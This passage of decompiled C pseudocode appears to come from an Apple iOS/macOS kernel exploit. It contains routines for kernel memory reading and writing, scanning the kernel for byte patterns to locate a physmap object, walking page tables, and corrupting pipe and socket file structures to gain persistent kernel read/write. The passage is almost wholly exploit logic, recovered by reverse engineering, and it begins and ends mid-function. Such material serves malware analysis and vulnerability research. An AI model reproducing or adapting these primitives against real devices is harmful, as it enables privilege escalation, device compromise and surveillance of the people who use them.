*((_QWORD *)v3 + 0x1F) = v212; - *((_QWORD *)v3 + 0x20) = v278; - *((_QWORD *)v3 + 0x21) = v206; - *((_DWORD *)v3 + 0x44) = v283; - *((_DWORD *)v3 + 0x45) = *(_DWORD *)(v2 + 0x34F0); - *(_DWORD *)(v2 + 0x34F0) = 0; - v8 = 0x28001LL; - if ( v186 + 1 < 2 || !v212 || !v278 ) - return v8; - if ( !(unsigned int)sub_35E18((__int64)v3, v295, 0x10) ) - return 0x28010LL; - *((_QWORD *)v3 + 0xA) = 0LL; - v119 = (char *)v3 + 0x30; -LABEL_256: - *(_QWORD *)v119 = 0LL; -LABEL_257: - v120 = *((_QWORD *)v3 + 0x35); - if ( !v120 ) - return 0x28008; - if ( !kread32_outptr((__int64)v3, v120, outputStruct) || (outputStruct[0].msgh_bits & 0x3FF) - 3 >= 2 ) - return v303; - v121 = *(_DWORD *)(v2 + 0x3620); - if ( !v121 ) - { -LABEL_270: - v8 = 0LL; - goto LABEL_271; - } - v122 = 0LL; - v123 = v2 + 0x3520; - while ( 2 ) - { - v124 = *(_DWORD *)(v123 + 4 * v122); - if ( v124 + 1 < 2 ) - { -LABEL_269: - if ( ++v122 >= (unsigned __int64)v121 ) - goto LABEL_270; - continue; - } - break; - } - v125 = port_name_to_kaddr((__int64)v3, *(_DWORD *)(v123 + 4 * v122)); - if ( !v125 ) - { - v8 = 0x28008LL; - goto LABEL_271; - } - v126 = sub_33A88((__int64)v3, v125, 1); - if ( !v126 ) - { - v8 = 0x28026LL; - goto LABEL_271; - } - v127 = v126 + 0x38; - if ( !kread64_internal((__int64)v3, v126 + 0x38, outputStruct) ) - { - v8 = 0x2800FLL; - goto LABEL_271; - } - if ( !*(_QWORD *)&outputStruct[0].msgh_bits || sub_288A4((__int64)v3, v127, 0LL) ) - { - mach_port_deallocate(mach_task_self_, v124); - *(_DWORD *)(v123 + 4 * v122) = 0; - v121 = *(_DWORD *)(v2 + 0x3620); - goto LABEL_269; - } - v8 = 0x28010LL; -LABEL_271: - v128 = 0LL; - *(_DWORD *)(v2 + 0x3620) = 0; - __handleb = (char *)(v2 + 0xC0); - v129 = v2 + 0x40; - while ( 2 ) - { - theDictc = (CFMutableDictionaryRef)(v2 + 0x2B0 * v128 + 0x10); - v291 = *(_QWORD *)theDictc; - if ( *(_QWORD *)theDictc ) - { - v294 = *(_QWORD *)(v2 + 0x2B0 * v128 + 0x20); - if ( v294 ) - { - v130 = v2 + 0x2B0 * v128; - v270 = *(_DWORD *)(v130 + 0x38); - v282 = *(_QWORD *)(v130 + 0x18); - if ( *(_DWORD *)v2 == 3 ) - { - v131 = *(_DWORD *)(v2 + 0x2B0 * v128 + 0x34); - if ( v131 + 1 >= 2 ) - { - v134 = port_name_to_kaddr((__int64)v3, v131); - if ( !v134 ) - { - v8 = 0x28008LL; - break; - } - v135 = sub_33A88((__int64)v3, v134, 1); - if ( !v135 ) - { -LABEL_488: - v8 = 0x28026LL; - break; - } - v136 = v135 + 0x38; - if ( !kread64_internal((__int64)v3, v135 + 0x38, outputStruct) ) - { -LABEL_487: - v8 = 0x2800FLL; - break; - } - if ( *(_QWORD *)&outputStruct[0].msgh_bits && !sub_288A4((__int64)v3, v136, 0LL) ) - { -LABEL_370: - v8 = 0x28010LL; - break; - } - } - else - { - v132 = sub_33B98(v3, mach_task_self_, v291); - if ( !v132 ) - { - v8 = 0x28011LL; - break; - } - v133 = v132 + 0x38; - if ( !kread64_internal((__int64)v3, v132 + 0x38, outputStruct) ) - goto LABEL_487; - if ( *(_QWORD *)&outputStruct[0].msgh_bits && !sub_288A4((__int64)v3, v133, 0LL) ) - goto LABEL_370; - if ( v282 ) - *(_DWORD *)(v282 + v291) = 0; - } - } - if ( !krw_ctx_has_flag(v3, 0x5184001) ) - { - outputStructCnt = 0LL; - has_flag = krw_ctx_has_flag(v3, 0x8000); - if ( has_flag ) - { - v263 = 0xFFFFFFFFF000LL; - v265 = 0xFFFLL; - v275 = 0x1000LL; - } - else - { - v275 = *((unsigned int *)v3 + 0x60); - v263 = 0xFFFFFFFFC000LL; - v265 = *((_QWORD *)v3 + 0x31); - } - v149 = *(_QWORD *)(v2 + 0x3500); - if ( v149 && *(_QWORD *)(v2 + 0x3508) ) - { - *(_QWORD *)theMagicPhysmapObjectPtr = *(_QWORD *)(v2 + 0x3508); - *(_QWORD *)v318 = v149; - } - else - { - sub_39B70((__int64)v3, &name); - outputStruct[0] = name; - if ( has_flag ) - v150 = "29 01 00 8A .. .. .. .. .. .. .. .. 29 01 0A CB"; - else - v150 = "08 7C 72 92 .. .. .. .. .. .. .. .. 08 01 09 CB"; - v151 = kernel_pattern_scan((__int64)&name, v150, 0); - if ( !v151 ) - goto LABEL_499; - v152 = sub_1E854(*((__int64 **)v3 + 0x33F), (__int64 *)(v151 + 4)); - *(_QWORD *)v318 = v152; - if ( !v152 ) - goto LABEL_499; - if ( !kread64_internal((__int64)v3, v152, v318) ) - goto LABEL_495; - if ( !*(_QWORD *)v318 - || (v153 = sub_1E854(*((__int64 **)v3 + 0x33F), (__int64 *)(v151 + 0x14)), - (*(_QWORD *)theMagicPhysmapObjectPtr = v153) == 0LL) ) - { - v4 = 0x28026LL; - goto LABEL_499; - } - if ( !kread64(v3, v153, (__int64 *)theMagicPhysmapObjectPtr) ) - { -LABEL_495: - v4 = 0x2800FLL; -LABEL_499: - v8 = v4; - break; - } - if ( !validate_addr((__int64)v3, *(__int64 *)theMagicPhysmapObjectPtr) ) - { - v4 = 0x28026LL; - goto LABEL_499; - } - *(_QWORD *)(v2 + 0x3500) = *(_QWORD *)v318; - *(_QWORD *)(v2 + 0x3508) = *(_QWORD *)theMagicPhysmapObjectPtr; - } - if ( v282 ) - { - v154 = 0LL; - v261 = 0LL; - v155 = 0LL; - do - { - if ( v155 && (v155 & (unsigned __int64)v265) + 8 < v275 ) - { - v155 += 8LL; - if ( !(unsigned int)kreadbuf_last_1((__int64)v3, v155, 8LL, (__int64)&v315) ) - goto LABEL_487; - v156 = v315; - } - else - { - *(_QWORD *)&outputStruct[0].msgh_bits = 0LL; - *(_QWORD *)&name.msgh_bits = 0LL; - v157 = krw_ctx_has_flag(v3, 0x8000); - v158 = 0xFFFFFFFFF000LL; - if ( !v157 ) - v158 = 0xFFFFFFFFC000LL; - v267 = v158; - v159 = sub_349C8(v3, mach_task_self_); - if ( !v159 ) - goto LABEL_488; - if ( !kread64(v3, v159, (__int64 *)outputStruct) ) - goto LABEL_487; - if ( (!*((_QWORD *)v3 + 0x30E) || !*((_QWORD *)v3 + 0x30F)) && !(unsigned int)sub_39B14(v3) ) - { - v8 = 0x28003LL; - goto LABEL_500; - } - valuea = v291 + v154; - v160 = *(_QWORD *)&outputStruct[0].msgh_bits; - if ( v157 ) - { - v161 = valuea >> 0x1E; - v162 = 0xFFLL; - } - else - { - v163 = krw_ctx_has_flag(v3, 0x5000008); - v161 = 0x7FFLL; - if ( !v163 ) - v161 = 7LL; - v162 = valuea >> 0x24; - } - if ( !(unsigned int)kreadbuf_last_1((__int64)v3, v160 + 8 * (v161 & v162), 8LL, (__int64)&name) ) - goto LABEL_487; - if ( (~LOBYTE(name.msgh_bits) & 3) != 0 ) - goto LABEL_363; - v164 = sub_38378( - (__int64)v3, - *((_QWORD *)v3 + 0x30E), - *((_QWORD *)v3 + 0x30F), - *(_QWORD *)&name.msgh_bits & v267); - if ( !v164 ) - goto LABEL_488; - v165 = (valuea >> 0x15) & 0x1FF; - if ( !v157 ) - v165 = (valuea >> 0x19) & 0x7FF; - if ( !(unsigned int)kreadbuf_last_1((__int64)v3, v164 + 8 * v165, 8LL, (__int64)&name) ) - goto LABEL_487; - if ( (~LOBYTE(name.msgh_bits) & 3) != 0 ) - { -LABEL_363: - v155 = 0LL; - goto LABEL_364; - } - v261 = *(_QWORD *)&name.msgh_bits & v267; - v166 = sub_38378( - (__int64)v3, - *((_QWORD *)v3 + 0x30E), - *((_QWORD *)v3 + 0x30F), - *(_QWORD *)&name.msgh_bits & v267); - if ( !v166 ) - goto LABEL_488; - v167 = (valuea >> 0xC) & 0x1FF; - if ( !v157 ) - v167 = (valuea >> 0xE) & 0x7FF; - v155 = v166 + 8 * v167; - if ( !(unsigned int)kreadbuf_last_1((__int64)v3, v155, 8LL, (__int64)&name) ) - goto LABEL_487; - v156 = *(_QWORD *)&name.msgh_bits; - v315 = *(_QWORD *)&name.msgh_bits; - } - if ( !v156 ) - goto LABEL_364; - v168 = v156 & v263; - if ( !v168 ) - goto LABEL_364; - if ( !(unsigned int)kreadbuf_last_1( - (__int64)v3, - 8LL * (unsigned int)((unsigned __int64)(v168 - *(_QWORD *)v318) >> vm_page_shift) - + *(_QWORD *)theMagicPhysmapObjectPtr, - 8LL, - (__int64)&v314) ) - goto LABEL_487; - v169 = v314 & 3; - if ( (v314 & 3) != 0 ) - { - if ( v169 == 2 ) - { - v170 = v291 + v154; - if ( (v314 & 0xFFFFFFFFFFFCLL | 0xFFFF000000000000LL) == v155 - (((v291 + v154) >> 9) & 0x18) ) - goto LABEL_364; - goto LABEL_367; - } - if ( v169 != 3 ) - goto LABEL_364; - } - v170 = v291 + v154; -LABEL_367: - if ( (*((_QWORD *)v3 + 0x31) & v170) == 0 ) - { - v171 = sub_10214((__int64)v3, v2, v261); - if ( (_DWORD)v171 ) - { - v8 = v171; - goto LABEL_500; - } - } - if ( !(unsigned int)kwritebuf_last_1((__int64)v3, v155, (__int64)&outputStructCnt, 8LL) ) - goto LABEL_370; -LABEL_364: - v154 += v275; - } - while ( v154 < v282 ); - } - } - v137 = vm_deallocate(mach_task_self_, v291, v294); - if ( v137 || v270 + 1 > 1 && (v137 = mach_port_deallocate(mach_task_self_, v270)) != 0 ) - { - v8 = v137 | 0x80000000; - break; - } - for ( ii = 0LL; ii != 0x200; ii += 8LL ) - { - v139 = *(_QWORD *)&__handleb[ii]; - if ( v139 ) - { - vm_deallocate(mach_task_self_, v139, vm_page_size); - *(_QWORD *)&__handleb[ii] = 0LL; - } - } - for ( jj = 0LL; jj != 0x80; jj += 8LL ) - { - v141 = *(_QWORD *)(v129 + jj); - if ( v141 ) - { - vm_deallocate(mach_task_self_, v141, v294); - *(_QWORD *)(v129 + jj) = 0LL; - } - } - bzero(theDictc, 0x2B0uLL); - v8 = 0LL; - } - } - v142 = 0LL; - v143 = 1; - while ( 2 ) - { - v144 = v143; - v145 = v2 + 0x10 * v128 + 8 * v142; - v146 = *(_QWORD *)(v145 + 0x2B10); - if ( !v146 ) - { -LABEL_304: - v143 = 0; - v142 = 1LL; - if ( (v144 & 1) == 0 ) - goto LABEL_307; - continue; - } - break; - } - v147 = vm_deallocate(mach_task_self_, v146, vm_page_size); - if ( !v147 ) - { - *(_QWORD *)(v145 + 0x2B10) = 0LL; - goto LABEL_304; - } - v8 = v147 | 0x80000000; -LABEL_307: - ++v128; - __handleb += 0x2B0; - v129 += 0x2B0LL; - if ( v128 != 0x10 ) - continue; - break; - } -LABEL_500: - v215 = *v258; - if ( *v258 ) - { - v216 = 0LL; - v217 = v2 + 0x3644; - do - { - v218 = *(_DWORD *)(v217 + 4 * v216); - if ( v218 + 1 >= 2 ) - { - mach_port_deallocate(mach_task_self_, v218); - *(_DWORD *)(v217 + 4 * v216) = 0; - v215 = *v258; - } - ++v216; - } - while ( v216 < v215 ); - } - *v258 = 0; - v219 = *(_DWORD *)(v2 + 0x6648); - if ( v219 ) - { - v220 = 0LL; - v221 = v2 + 0x4648; - do - { - v222 = *(_QWORD *)(v221 + 8 * v220); - if ( v222 ) - { - vm_deallocate(mach_task_self_, v222, vm_page_size); - *(_QWORD *)(v221 + 8 * v220) = 0LL; - v219 = *(_DWORD *)(v2 + 0x6648); - } - ++v220; - } - while ( v220 < v219 ); - } - *(_DWORD *)(v2 + 0x6648) = 0; - v223 = *((_QWORD *)v3 + 0x2B); - if ( v223 <= 0x1F530F027FFFFFLL ) - { - if ( v223 >= 0x1C1B0A80100000LL && ((*(_DWORD *)v3 & 0x5584001) != 0 || v223 >= 0x1F530000000000LL) ) - goto LABEL_532; - *(_QWORD *)theMagicPhysmapObjectPtr = 0xFFFFFFFFFFFFFFFFLL; - *(_QWORD *)v318 = 0xFFFFFFFFFFFFFFFFLL; - pipe = fd_make_pipe(v318); - if ( !pipe ) - { - pipe = setup_two_fds((unsigned int *)v318); - if ( !pipe ) - { - pipe = fd_make_pipe((int *)theMagicPhysmapObjectPtr); - if ( !pipe ) - { - v234 = sub_33E8C((__int64)v3, mach_task_self_); - if ( v234 ) - { - v235 = v234; - pipe = sub_10534(v3, v234, v318[0], (__int64 *)outputStruct); - if ( !pipe ) - { - pipe = sub_10534(v3, v235, theMagicPhysmapObjectPtr[0], (__int64 *)&name); - if ( !pipe ) - { - if ( kwrite64((__int64)v3, *(_QWORD *)&outputStruct[0].msgh_bits + 0x10LL, *(__int64 *)&name.msgh_bits) ) - { - pipe = 0x3F004; - v236 = v318[0]; - v237 = v318[1]; - *((_DWORD *)v3 + 0x64C) = v318[0]; - *((_DWORD *)v3 + 0x64D) = v237; - v238 = theMagicPhysmapObjectPtr[0]; - v239 = theMagicPhysmapObjectPtr[1]; - *((_DWORD *)v3 + 0x64E) = theMagicPhysmapObjectPtr[0]; - *((_DWORD *)v3 + 0x64F) = v239; - if ( v236 != 0xFFFFFFFF && v237 != 0xFFFFFFFF && v238 != 0xFFFFFFFF && v239 != 0xFFFFFFFF ) - { - pipe = sub_21200((__int64)v3); - if ( !pipe ) - { - pipe = sub_21200((__int64)v3); - if ( !pipe ) - { - pipe = sub_21200((__int64)v3); - if ( !pipe ) - { - pipe = sub_21200((__int64)v3); - if ( !pipe ) - { -LABEL_531: - v303 = pipe; - goto LABEL_547; - } - } - } - } - } - } - else - { - pipe = 0x28010; - } - } - } - } - else - { - pipe = 0x28026; - } - } - } - } - if ( v318[0] != 0xFFFFFFFF ) - close(v318[0]); - if ( v318[1] != 0xFFFFFFFF ) - close(v318[1]); - if ( theMagicPhysmapObjectPtr[0] != 0xFFFFFFFF ) - close(theMagicPhysmapObjectPtr[0]); - if ( theMagicPhysmapObjectPtr[1] != 0xFFFFFFFF ) - close(theMagicPhysmapObjectPtr[1]); - *((_QWORD *)v3 + 0x327) = 0xFFFFFFFFFFFFFFFFLL; - *((_QWORD *)v3 + 0x326) = 0xFFFFFFFFFFFFFFFFLL; - goto LABEL_531; - } - v224 = (*(_DWORD *)v3 & 0x5584001) != 0 || v223 > 0x1F5418FFFFFFFFLL; - if ( !v224 ) - { -LABEL_532: - *(_QWORD *)&outputStruct[0].msgh_bits = 0xFFFFFFFFFFFFFFFFLL; - v226 = sub_32F1C((__int64)v3); - if ( v226 ) - { - v227 = v226; - v312 = 0; - v228 = fd_make_pipe((int *)outputStruct); - if ( v228 || (v228 = setup_two_fds(&outputStruct[0].msgh_bits)) != 0 ) - { - v229 = 0xFFFFFFFF; - v303 = v228; - goto LABEL_536; - } - sub_1F714((__int64)outputStruct, &v312, 4uLL); - sub_1F770((int *)outputStruct, &v312, 4uLL); - v231 = socket(2, 2, 0); - if ( v231 == 0xFFFFFFFF ) - { - v240 = *__error(); - v241 = *__error(); - if ( v240 < 0 ) - v241 = -v241; - v303 = v241 | 0x40000000; - v229 = 0xFFFFFFFF; -LABEL_536: - v230 = 0xFFFFFFFF; - goto LABEL_537; - } - v229 = v231; - v232 = open("/private/etc/group", 0); - if ( v232 == 0xFFFFFFFF ) - { - v242 = *__error(); - v243 = *__error(); - if ( v242 < 0 ) - v243 = -v243; - v303 = v243 | 0x40000000; - v230 = 0xFFFFFFFF; - goto LABEL_537; - } - v230 = v232; - if ( !kread64(v3, *(_QWORD *)(v2 + 0x2C10) + v227, &v315) ) - goto LABEL_537; - v233 = sub_10414((__int64)v3, v315, &outputStructCnt); - if ( v233 ) - goto LABEL_553; - if ( *((_QWORD *)v3 + 0x44) ) - { - v244 = outputStructCnt; -LABEL_578: - if ( !kread64(v3, v244 + (int)outputStruct[0].msgh_bits * (__int64)*((int *)v3 + 0x5A), (__int64 *)&name) - || !kread64(v3, *(_QWORD *)&name.msgh_bits + 0x10LL, (__int64 *)v318) - || !kread64(v3, *(_QWORD *)v318 + 0x38LL, &v313) - || !kread64(v3, v313 + 0x10, &v314) ) - { - goto LABEL_537; - } - if ( validate_addr((__int64)v3, v314) ) - { - if ( !kread64(v3, v244 + *((int *)v3 + 0x5A) * (__int64)v229, (__int64 *)&name) - || !kread64(v3, *(_QWORD *)&name.msgh_bits + 0x10LL, (__int64 *)theMagicPhysmapObjectPtr) ) - { - goto LABEL_537; - } - v233 = sub_2566C((__int64)v3, (int *)outputStruct, *(unsigned __int64 *)theMagicPhysmapObjectPtr); - if ( v233 ) - { -LABEL_553: - v303 = v233; - goto LABEL_537; - } - if ( kwrite64((__int64)v3, *(_QWORD *)&name.msgh_bits + 0x10LL, v314) ) - { - v245 = outputStruct[0].msgh_bits; - msgh_size = outputStruct[0].msgh_size; - *((_DWORD *)v3 + 0x64C) = outputStruct[0].msgh_bits; - *((_DWORD *)v3 + 0x64D) = msgh_size; - *((_DWORD *)v3 + 0x650) = v229; - v247 = v314; - *((_QWORD *)v3 + 0x43) = v314; - v303 = 0x28001; - if ( v245 != 0xFFFFFFFF && msgh_size != 0xFFFFFFFF ) - { - if ( v247 ) - { - v303 = sub_21200((__int64)v3); - if ( !v303 ) - { - v303 = sub_21200((__int64)v3); - goto LABEL_620; - } - } - } - goto LABEL_537; - } - v256 = 0x28010; - } - else - { - v256 = 0x28026; - } - v303 = v256; - goto LABEL_537; - } - v311 = 0LL; - v244 = outputStructCnt; - if ( kread64(v3, outputStructCnt + *((int *)v3 + 0x5A) * (__int64)v230, (__int64 *)&name) - && kread64(v3, *(_QWORD *)&name.msgh_bits + 0x10LL, (__int64 *)v318) - && kread64(v3, *(_QWORD *)v318 + 0x28LL, (__int64 *)&v311) ) - { - v248 = 0x80LL; - if ( *((int *)v3 + 0x50) > 0x1F53 ) - v248 = 0xFFFFFFFFFFFE0000LL; - v249 = v248 + v311; - if ( *((int *)v3 + 0x50) <= 0x1F53 ) - v250 = v311 + 0x400; - else - v250 = v311; - if ( v249 < v250 ) - { - v251 = 0LL; - v252 = 0; - do - { - v253 = kread64(v3, v249, (__int64 *)&v310); - if ( v251 ) - { - if ( !v253 ) - goto LABEL_620; - v254 = v310; - if ( (v310 & 0x80000000000000LL) != 0 ) - v254 = v310 | 0xFFFFFF8000000000LL; - if ( v254 < *((_QWORD *)v3 + 0x33D) - || ((v254 & 3) == 0 ? (v255 = v254 >= *((_QWORD *)v3 + 0x33E)) : (v255 = 1), v255) ) - { - v252 = 0; - v251 = 0LL; - } - else if ( ++v252 == 7 ) - { - *((_QWORD *)v3 + 0x44) = v251; - goto LABEL_578; - } - } - else - { - if ( !v253 ) - goto LABEL_620; - if ( v310 == 7 ) - v251 = v249; - else - v251 = 0LL; - } - v249 += *((int *)v3 + 0x5A); - } - while ( v249 < v250 ); - } - v303 = 0; - } -LABEL_620: - if ( v303 ) - { -LABEL_537: - if ( outputStruct[0].msgh_bits != 0xFFFFFFFF ) - close(outputStruct[0].msgh_bits); - if ( outputStruct[0].msgh_size != 0xFFFFFFFF ) - close(outputStruct[0].msgh_size); - *((_QWORD *)v3 + 0x326) = 0xFFFFFFFFFFFFFFFFLL; - if ( v229 != 0xFFFFFFFF ) - close(v229); - *((_DWORD *)v3 + 0x650) = 0xFFFFFFFF; - } - else - { - v303 = 0; - } - if ( v230 != 0xFFFFFFFF ) - close(v230); - } - else - { - v303 = 0x2802C; - } -LABEL_547: - v8 = v303; - if ( !v303 ) - { - *((_DWORD *)v3 + 0x3A) = 0; - *((_OWORD *)v3 + 0xF) = 0u; - *((_OWORD *)v3 + 0x10) = 0u; - *((_QWORD *)v3 + 0x22) = 0LL; - } - } - return v8; -} -// D7C4: conditional instruction was optimized away because w22.4==0 -// CEF4: variable 'v1' is possibly undefined -// EAD8: variable 'v290' is possibly undefined -// ED8C: variable 'v207' is possibly undefined -// EDB0: variable 'v209' is possibly undefined -// 68: using guessed type section_64 stru_68; -// 42EC0: using guessed type __int128 xmmword_42EC0; -// 48940: using guessed type __int64 __chkstk_darwin(void); - -//----- (000000000000F860) ---------------------------------------------------- -__int64 __fastcall kreadbuf_again(__int64 ctx, __int64 vaddr, __int64 out, unsigned int size_1) -{ - __int64 result; // x0 - __int64 v6; // x23 - _QWORD *v7; // x24 - __int64 v8; // x19 - unsigned __int64 off; // x26 - unsigned __int64 v10; // x27 - vm_size_t v11; // x8 - vm_address_t v12; // x20 - __int64 v13; // x28 - __int64 v14; // x9 - unsigned __int64 v15; // x22 - unsigned __int64 v16; // x21 - unsigned __int64 v17; // x25 - size_t v19; // x22 - kern_return_t v20; // w0 - vm_address_t v21; // [xsp+0h] [xbp-F0h] - __int64 v22; // [xsp+8h] [xbp-E8h] - __int64 v23; // [xsp+10h] [xbp-E0h] - unsigned __int64 v24; // [xsp+18h] [xbp-D8h] - __int64 v26; // [xsp+28h] [xbp-C8h] - __int64 v27; // [xsp+30h] [xbp-C0h] - __int64 v28; // [xsp+38h] [xbp-B8h] - mach_port_t object_name; // [xsp+40h] [xbp-B0h] BYREF - mach_msg_type_number_t infoCnt; // [xsp+44h] [xbp-ACh] BYREF - int info[8]; // [xsp+48h] [xbp-A8h] BYREF - __int16 v32; // [xsp+68h] [xbp-88h] - vm_size_t size; // [xsp+70h] [xbp-80h] BYREF - vm_address_t address; // [xsp+78h] [xbp-78h] BYREF - _QWORD __src[2]; // [xsp+80h] [xbp-70h] BYREF - - result = 0xAD022LL; - v6 = *(_QWORD *)(ctx + 0x50); - if ( !v6 ) - return 0xAD001LL; - v7 = *(_QWORD **)(v6 + 0x3448); - v8 = *(_QWORD *)(v6 + 0x3458); - if ( *(_QWORD *)(v8 + 0x18) == v7[2] - && *(_QWORD *)(v8 + 8) == *(_QWORD *)(v6 + 0x3450) - && *v7 == *(_QWORD *)(v6 + 0x3460) ) - { - if ( !size_1 ) - return 0LL; - v28 = *(_QWORD *)(v6 + 0x3450); - off = 0LL; - v10 = size_1; - v11 = vm_page_size; - v12 = v7[3] - vm_page_size; - v23 = vaddr; - v24 = size_1; - v21 = v12; - v22 = ctx; - while ( 1 ) - { - v13 = off + vaddr; - v14 = *(_QWORD *)(ctx + 0x188) & (off + vaddr); - v15 = v14 + 0x40; - v16 = *(unsigned int *)(ctx + 0x180); - v17 = v14 + v10; - address = v12; - infoCnt = 9; - *(_QWORD *)(v8 + 8) = v7[1]; - madvise(*(void **)(v6 + 0x2C20), 2 * v11, 2); - v26 = v7[1]; - v27 = v7[3]; - if ( v15 <= v16 || v17 > v16 ) - { - v7[1] = v13 - 0x10; - v7[3] = v12; - v20 = vm_region_64(mach_task_self_, &address, &size, 9, info, &infoCnt, &object_name); - v7[1] = v26; - v7[3] = v27; - *(_QWORD *)(v8 + 8) = v28; - ++*(_QWORD *)(v6 + 0x3468); - if ( v20 ) - return v20 | 0x80000000; - if ( v10 >= 0x10 ) - v19 = 0x10LL; - else - v19 = v10; - __src[0] = address; - __src[1] = size + address; - } - else - { - v7[1] = v13 - 0x4E; - v7[3] = v12; - v20 = vm_region_64(mach_task_self_, &address, &size, 9, info, &infoCnt, &object_name); - v7[1] = v26; - v7[3] = v27; - *(_QWORD *)(v8 + 8) = v28; - ++*(_QWORD *)(v6 + 0x3468); - if ( v20 ) - return v20 | 0x80000000; - if ( v10 >= 2 ) - v19 = 2LL; - else - v19 = v10; - LOWORD(__src[0]) = v32; - } - memcpy((void *)(out + off), __src, v19); - off += v19; - if ( off >= v24 ) - return 0LL; - v10 -= v19; - v28 = *(_QWORD *)(v8 + 8); - v11 = vm_page_size; - ctx = v22; - vaddr = v23; - v12 = v21; - } - } - return result; -} - -//----- (000000000000FAE4) ---------------------------------------------------- -__int64 __fastcall sub_FAE4(_QWORD *a1, int8x8_t *a2) -{ - vm_size_t v4; // x21 - char v5; // w24 - unsigned __int64 v6; // x8 - unsigned __int64 v7; // x10 - unsigned __int64 v8; // x12 - __int64 v9; // x8 - __int64 v10; // x25 - __int64 v11; // x22 - vm_address_t v12; // x8 - __int64 v13; // x23 - vm_size_t v14; // x23 - kern_return_t v15; // w0 - __int64 v16; // x27 - __int64 v17; // x26 - __int64 v18; // x10 - __int64 v19; // x8 - __int64 v20; // x12 - int8x8_t v21; // x11 - __int64 v22; // x13 - __int64 v23; // x14 - kern_return_t memory_entry; // w0 - uint8x8_t v25; // d0 - bool v26; // zf - mem_entry_name_port_t object_handle; // [xsp+4h] [xbp-6Ch] BYREF - vm_size_t size; // [xsp+8h] [xbp-68h] BYREF - vm_address_t address; // [xsp+10h] [xbp-60h] BYREF - __int64 __buf; // [xsp+18h] [xbp-58h] BYREF - - v4 = vm_page_size; - v5 = vm_page_shift; - __buf = 0LL; - arc4random_buf(&__buf, 8uLL); - v6 = a1[1]; - v7 = v6 >> 0x22; - v8 = v6 >> 0x21; - v26 = HIDWORD(v6) == 0; - v9 = 0x40000LL; - if ( !v26 ) - v9 = 0x80000LL; - if ( v8 ) - v9 = 0x100000LL; - if ( v7 ) - v10 = 0x200000LL; - else - v10 = v9; - v11 = 0xAD001LL; - v12 = a1[0x691]; - address = v12; - if ( v12 ) - { - v13 = a1[0x692]; - if ( v13 ) - { - madvise((void *)(v12 - v4 + v13), v4, 3); - v14 = v13 - v4; - v15 = vm_allocate(mach_task_self_, &address, v14, 0xCA004000); - if ( v15 ) - return v15 | 0x80000000; - v16 = 0LL; - v11 = 0xAD011LL; -LABEL_13: - v17 = v16 & 0x7F; - if ( v16 ) - { - if ( (v16 & 0x7F) == 0 ) - { - v15 = vm_allocate(mach_task_self_, &address, v14, 0xCA004000); - if ( v15 ) - return v15 | 0x80000000; - } - } - v18 = __buf + v16; - *(_QWORD *)(address + v4 * v17) = __buf + v16; - __dsb(0xBu); - v19 = a2[4].u32[0]; - if ( !(_DWORD)v19 ) - goto LABEL_28; - v20 = 0LL; - v21 = a2[3]; - while ( 1 ) - { - v22 = 1LL << v20; - if ( (*(_QWORD *)&v21 & (1LL << v20)) == 0 ) - { - v23 = *(_QWORD *)(*(_QWORD *)a2 + (unsigned int)((_DWORD)v20 << v5)); - if ( v23 == v18 ) - { - size = v4; - object_handle = 0; - a2[3] = (int8x8_t)(*(_QWORD *)&v21 | v22); - memory_entry = mach_make_memory_entry( - mach_task_self_, - &size, - address + v4 * v17, - 0x200003, - &object_handle, - 0); - if ( memory_entry ) - { - v11 = memory_entry | 0x80000000; - } - else - { - v11 = 0LL; - a2[5].i32[0] = object_handle; - } - LODWORD(v19) = a2[4].i32[0]; -LABEL_28: - v25 = (uint8x8_t)vcnt_s8(a2[3]); - v25.i16[0] = vaddlv_u8(v25); - ++v16; - v26 = (_DWORD)v19 == v25.i32[0] || (_DWORD)v11 == 0; - if ( v26 || v16 == v10 ) - return v11; - goto LABEL_13; - } - if ( v23 != a1[0x6A3] ) - { - *(_QWORD *)&v21 |= v22; - a2[3] = v21; - } - } - if ( v19 == ++v20 ) - goto LABEL_28; - } - } - } - return v11; -} - -//----- (000000000000FD18) ---------------------------------------------------- -__int64 __fastcall sub_FD18(_DWORD *a1, __int64 a2) -{ - unsigned int v2; // w9 - __int64 v3; // x8 - uint8x8_t v4; // d0 - vm_size_t v6; // x20 - char v7; // w22 - __int64 v8; // x23 - vm_address_t v9; // x21 - kern_return_t v10; // w0 - - v2 = *(_DWORD *)(a2 + 0x20); - v3 = *(_QWORD *)(a2 + 0x18); - v4 = (uint8x8_t)vcnt_s8((int8x8_t)v3); - v4.i16[0] = vaddlv_u8(v4); - if ( v2 == v4.i32[0] ) - return 0LL; - v6 = vm_page_size; - v7 = vm_page_shift; - if ( *a1 == 3 && (unsigned int)(*(_DWORD *)(a2 + 0x24) + 1) < 2 ) - return 0LL; - if ( !v2 ) - return 0LL; - v8 = 0LL; - while ( (v3 & (1LL << v8)) != 0 ) - { -LABEL_10: - if ( ++v8 >= (unsigned __int64)v2 ) - return 0LL; - } - v9 = *(_QWORD *)a2 + (unsigned int)((_DWORD)v8 << v7); - v10 = vm_protect(mach_task_self_, v9, v6, 0, 0); - if ( !v10 ) - { - v10 = vm_protect(mach_task_self_, v9, v6, 0, 3); - if ( !v10 ) - { - v3 = *(_QWORD *)(a2 + 0x18) | (1LL << v8); - *(_QWORD *)(a2 + 0x18) = v3; - v2 = *(_DWORD *)(a2 + 0x20); - goto LABEL_10; - } - } - return v10 | 0x80000000; -} - -//----- (000000000000FE30) ---------------------------------------------------- -__int64 __fastcall sub_FE30(__int64 a1) -{ - mem_entry_name_port_t v1; // w5 - __int64 v2; // x20 - vm_size_t v3; // x19 - kern_return_t v4; // w0 - int v5; // w8 - vm_address_t address; // [xsp+18h] [xbp-28h] BYREF - - v1 = *(_DWORD *)(a1 + 0x34F0); - if ( v1 + 1 < 2 ) - return 0xAD001LL; - address = 0LL; - v3 = vm_page_size; - v4 = vm_map(mach_task_self_, &address, vm_page_size, 0LL, 1, v1, 0LL, 0, 3, 3, 2u); - if ( v4 ) - return v4 | 0x80000000; - if ( madvise((void *)address, v3, 3) ) - { - v5 = *__error(); - if ( v5 < 0 ) - v5 = -v5; - v2 = v5 | 0x40000000u; - } - else - { - v2 = 0LL; - } - vm_deallocate(mach_task_self_, address, v3); - return v2; -} - -//----- (000000000000FF10) ---------------------------------------------------- -__int64 __fastcall sub_FF10(__int64 a1, __int64 a2, __int64 a3, _QWORD *a4) -{ - unsigned __int64 v4; // x11 - int *v5; // x8 - int v6; // w10 - int v7; // w14 - int v8; // w11 - int v9; // w12 - int v10; // w13 - __int64 v11; // x9 - __int64 v12; // x8 - bool v13; // cc - __int64 result; // x0 - - v4 = *(_QWORD *)(a1 + 0x158); - if ( 